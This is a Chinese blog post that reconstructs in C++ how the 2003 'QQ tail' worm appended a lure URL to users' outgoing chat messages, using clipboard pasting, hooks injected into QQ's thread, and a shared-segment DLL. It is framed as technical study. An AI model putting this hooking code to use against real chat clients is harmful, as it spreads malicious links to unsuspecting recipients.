QQ尾巴病毒的Visual C++实现探讨

QQ尾巴源码 QQ尾巴,可以实现自己发消息。源码+EXE 立即下载
  自2003起,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。

  下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。

  粘贴尾巴

  首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下:

TCHAR g_str[] = "欢迎来我的小站坐坐:http://dev.yesky.com";
// 函数功能:向文本框中粘贴尾巴
void PasteText(HWND hRich)
{
 HGLOBAL hMem;
 LPTSTR pStr;
 // 分配内存空间
 hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
 pStr = GlobalLock(hMem);
 lstrcpy(pStr, g_str);
 GlobalUnlock(hMem);
 OpenClipboard(NULL);
 EmptyClipboard();
 // 设置剪贴板文本
 SetClipboardData(CF_TEXT, hMem);
 CloseClipboard();
 // 释放内存空间
 GlobalFree(hMem);
 // 粘贴文本
 SendMessage(hRich, WM_PASTE, 0, 0);
} 

  钩子

  好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子:

void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}

  这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了……

  然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。

  讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。

  首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。


  问题具体到了“QQ尾巴病毒”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):

// 钩子过程,监视“发送”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
 CWPSTRUCT *p = (CWPSTRUCT *)lParam;
 // 捕获“发送”按钮
 if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
  PasteText(g_hRich);
 return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}

  在此我对这个回调过程说明几点:

  1、lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:

typedef struct {
 LPARAM lParam;
 WPARAM wParam;
 UINT message;
 HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;

  这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。

  2、g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。

  3、CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。

  4、你也许会问为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系)来说明:

#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
// QQ发送消息对话框回调过程·李马伪造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
 switch (Msg)
 {
  case WM_CLOSE:
   EndDialog(hDlg, 0);
   break;
  case WM_COMMAND:
  {
   switch (LOWORD(wParam))
   {
    case IDC_BTN_SENDMSG:
     // 发送消息...
     break;
     // 其它的命令按钮处理部分...
   }
  }
  break;
  // 其它的case部分...
 }
 return 0;
}

  消息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口(也就是“发送消息”的对话框)会收到一条WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID,然后再调用代码中发送的部分,这个过程如下图:

  所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。

  好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子:

// 键盘钩子过程,监视“发送”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
 // 捕获热键消息
 if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
  PasteText(g_hRich);
 return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}

  在这里唯一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次(连同WM_KEYUP的一次)。

  挂接钩子和查找窗口

  接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?

  挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:

// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
 BOOL bRet = FALSE;
 if (hQQ != NULL)
 {
  DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
  // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
  g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
  if (g_hRich == NULL)
   return FALSE;
  // 挂接钩子
  g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
  g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
  bRet = (g_hProc != NULL) && (g_hKey != NULL);
 }
 else
 {
  // 卸载钩子
  bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
  g_hProc = NULL;
  g_hKey = NULL;
  g_hRich = NULL;
 }
 return bRet;
}

  到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。

  DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码:

// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
 g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
 hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)");
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);

  这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的,只是把他文中的Delphi代码翻译成了C代码。

  DLL的共享数据段

  如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:

// 定义共享数据段
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // 窗口过程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")

  这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?

  是的,添加尾巴失败!

  好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:

  这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量g_hRich来说,图中左边的DLL通过EXE的传入获得了文本框的句柄,然而如果没有共享段的话,那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相似。

  在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现Hook.dll也位于QQ.exe的模块之中。

  最后一些要说的

  1、我是前说过,在2003年的1月份我就碰到了这种病毒,至今我还很清楚地记得那个病毒EXE只有16KB大小,所以从病毒本身存在的性质来说,这个东西应该是用Win32ASM来写会更实用一些。

  2、那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后,DLL会将其唤醒。我曾经用我的进程查看工具分析过,发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程,真可谓是一石二鸟——保证EXE永远运行,同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了,但是稳定性方面远不及病毒本身做得优秀,故在此也就不将其写出了,有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。

  3、走笔至此想起了侯捷老师《STL源码剖析》中的一句话——“源码之前,了无秘密。”

QQ尾巴版本 QQ尾巴版本,可以修改QQ尾巴 立即下载

相关推荐

qq尾巴修改器

qq尾巴修改器,需要配合修改好的qq for pad1.41,请自行搜索我的资源

“QQ尾巴病毒”核心技术的实现

  声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何破坏。  2003这一年里,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。下图就是染毒后的QQ发送的消息,其中中毒者只打了“你好”两个字,其它的就全是病毒的杰作了。 

马说@优快云 2434

华为网络实战:5分钟搞定OSPF+VRRP+MSTP多协议联动配置(附完整命令集)

本文深入解析了在企业网络中如何高效协同部署OSPF、VRRP和MSTP三大协议。通过一个典型的双核心网络案例,详细阐述了从规划、配置到验证的完整流程,重点强调了确保MSTP根桥与VRRP主设备一致的设计原则,以实现最优的二层与三层流量转发路径,并提供了完整的命令集和故障排查思路。

weixin_29251337的博客 154

QQ尾巴病毒 VC

前一段时间在病毒源代码的博客上看到了QQ尾巴病毒的原理,他的博客确实不错,有很多这方面的东西。不过他是用VB或者DELPHI写的(区分不清,呵呵),而且感觉他写得有点乱,可能我习惯看C格式的代码吧。最近我用VC重写了一下,增加了一点设置功能,一些地方又加了些注释,会比较容易看懂。 首先新建一个WIN32 CONSOLE的工程,主文件代码如下: #include "stdafx.h" #i

magicyang87的专栏 1129

MediaCodec视频解码流程详解及参考demo

本文主要讲解mediacodec的视频解码流程,及demo参考例子。

分享音视频技术 7877

NRF24L01模块的5个常见问题及解决方案:从信号干扰到功耗优化

本文深入探讨NRF24L01无线模块在STM32开发中的5大常见问题及解决方案,包括通信距离优化、数据丢失排查、电源噪声抑制、SPI通信故障处理以及低功耗设计。通过代码示例和电路图分析,提供实用的优化策略,帮助开发者提升无线通信的稳定性和效率。

weixin_28256233的博客 226

QQ尾巴病毒的Visual C++实现探讨(转)

作者: yes555  (请看清楚,不是我)  自2003起,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。  下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的

要饭's Blog 1452

永磁同步电机无传感器控制:HFI与ESMO技术详解

高频注入(HFI)和增强型滑模观测器(ESMO)是现代永磁同步电机(PMSM)无传感器控制的核心技术。HFI通过注入高频信号利用电机凸极效应获取转子位置,而ESMO则通过改进传统滑模观测器,有效抑制抖振并提升动态响应。这两种技术的结合特别适用于零低速区域的位置估计,在工业伺服、电动汽车等领域有广泛应用。方波高频注入作为实现方案之一,具有计算量小、实现简单的特点,配合自适应滤波等信号处理技术,可以在保证精度的同时降低系统成本。

weixin_29183637的博客 357

QQ尾巴病毒

我在网上搜索相应的解决方法,终于找到了,方法如下:1、打开任务管理器进程(按ctrl+shift+esc),结束gedit.exe进程和msscript.exe进程. 2、用查找删除以下文件:c:/windows/system32/gedit.exe和c:/windows/system32/msscript.exe3、打开注册表编辑器(注:方法是开始 运行 输入regedit 回车),找到:

Terry的专栏 1156

小智AI语音控制实战:从工具注册到音量调节的MCP交互全流程

本文详细拆解了基于小智AI与MCP协议实现本地智能语音控制的完整交互流程。以ESP32平台为例,从开发环境搭建、MCP服务器初始化、工具注册,到用户语音指令的接收、解析、硬件执行与结果反馈,提供了全链路实战代码。重点阐述了如何通过MCP协议将AI的意图理解与设备功能执行在本地高效耦合,实现毫秒级响应的音量调节等控制,为嵌入式AI开发者提供了清晰的实现路径。

weixin_29165725的博客 347

手机摄影新宠:In-line Hardware EIS如何让你的4K视频稳如鸡头(附实测对比)

本文深入解析了手机摄影中的In-line Hardware EIS(硬件级行内电子图像稳定)技术。通过对比传统软件EIS,阐述了其通过硬件管道实时处理实现极低延迟、减少画面裁切和有效抑制果冻效应的核心优势,并结合4K视频的日夜间实测,展示了该技术如何让手持拍摄的视频“稳如鸡头”,显著提升创作体验与成片质量。

tree的博客 998

QQ尾巴病毒的发送原理分析

近来QQ尾巴病毒大肆发作,我也是经常收到网友们发到来的带尾巴的消息,于是,好奇心一来,我也来研究研究此病毒的发作原理。首先,我不知道QQ尾巴病毒真正的原理,我只是猜测并且自己写了一个类似的程序来实现它。 QQ尾巴的发作情况:当用户打开一个QQ消息发送窗口时,病毒会自动往消息文本框里输入文本,然后不等用户反应过来就发出去了。 程序实现:首先要找到QQ消息发送窗口...

weixin_33778778的博客 330

YOLOv11改进 | Conv/卷积篇 | 轻量化多尺度异构卷积(MSHC)优化YOLOv11精度(全网独家首发)

本文介绍了Hype-YOLO提出的MANet结构,这是C3、C2f、C3k2的升级版,能显著增强特征提取能力。MANet整合了DSConv和C2f结构,通过多分支异构设计提升梯度流动和特征语义深度。文章详细解析了MSHC模块的原理,包括其多尺度并行建模、通道混洗等核心机制,并提供了完整的代码实现和训练教程。实验表明,Hype-YOLO的精度优于YOLOv11。该结构在保持轻量化的同时,通过异构分支设计实现了更丰富的特征表达,适用于目标检测等视觉任务。

Snu77的博客 955

深入了解“QQ尾巴病毒”的实现技术

在介绍“QQ尾巴病毒”之前本人事先要说明,深入了解“QQ尾巴病毒”的实现技术不是让读者使用文章中的方法进行任何破坏,而是能更有效的预防“QQ尾巴病毒”和利用该技术更好的服务于软件业。  QQ尾巴病毒曾经非常疯狂。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,当信息的接收者点击这句话中的URL时,就成了下一个中毒

daily0403的专栏 1876

RH850从0搭建Autosar开发环境【2】- Davinci Configurator配置工程导入DBC与CDD文件

Davinci Configurator配置工程导入DBC与CDD文件,开始Autosar开发

weixin_42412049的博客 8153

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

小心通过QQ尾巴中的网址(Q-Zone.****qq.C0M)传播的Worm.Win32.Viking.r

endurer 原创2006-08-01 第1版一个网友的电脑中了QQ尾巴,打开QQ好友的对话框就会自动发出如下信息:---------------------------------麻烦帮我朋友投个票啦!她正在竞选QQ小姐,参选Q-Zone空间上有她近照,点击为她增加人气,先谢谢喽……hxxp://Q-Zone.****qq.C0M.%62%30%76%2E%63%6E/cgi-

Purpleendurer@优快云 9444

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

QQ尾巴病毒的另一种实现

前几天看到?wuqiu 兄 把 QQ尾巴病毒模拟了一遍,我觉得通过查找窗体标题,不太合常理回去用SPY++来查看了一下,原来,QQ的框架是这样的?其中,#32770(对话框)就是弹出的QQ聊天界面;内部的控件就如上图显示的那样,有Static(标签)、Button(按钮)、AfxWnd42(这个我猜类似panel的容器)、RICHEDIT(这里面就是显示我们的聊天纪录了)具

AD的专栏 1513

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴

前言 思路分析 进入QQ进程 远程注入DLL 截取QQ登录密码 截取本机QQ账号和昵称 截取聊天内容 增加QQ尾巴 去掉QQ广告栏 郑重申明 结束语 前言 中国网民没有不熟悉QQ的,QQ玩家没有不知道珊瑚虫和彩虹的去广告显IP版QQ的,有段时间QQ尾巴也很盛行,就是每次聊天的时候它自动在你的聊天文字后面加一段话,欺骗你的QQ网

ccx_john的专栏 1429

VB原代码之QQ尾巴(全注释)

仅供研究VB之用,嘎嘎。。。。。 Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdSh

涅槃 742
上一篇: 在英语聊天室看见的一段恶搞
下一篇: 一个简单的键盘钩子程序
getdata
博客等级 码龄21年 2粉丝 47原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值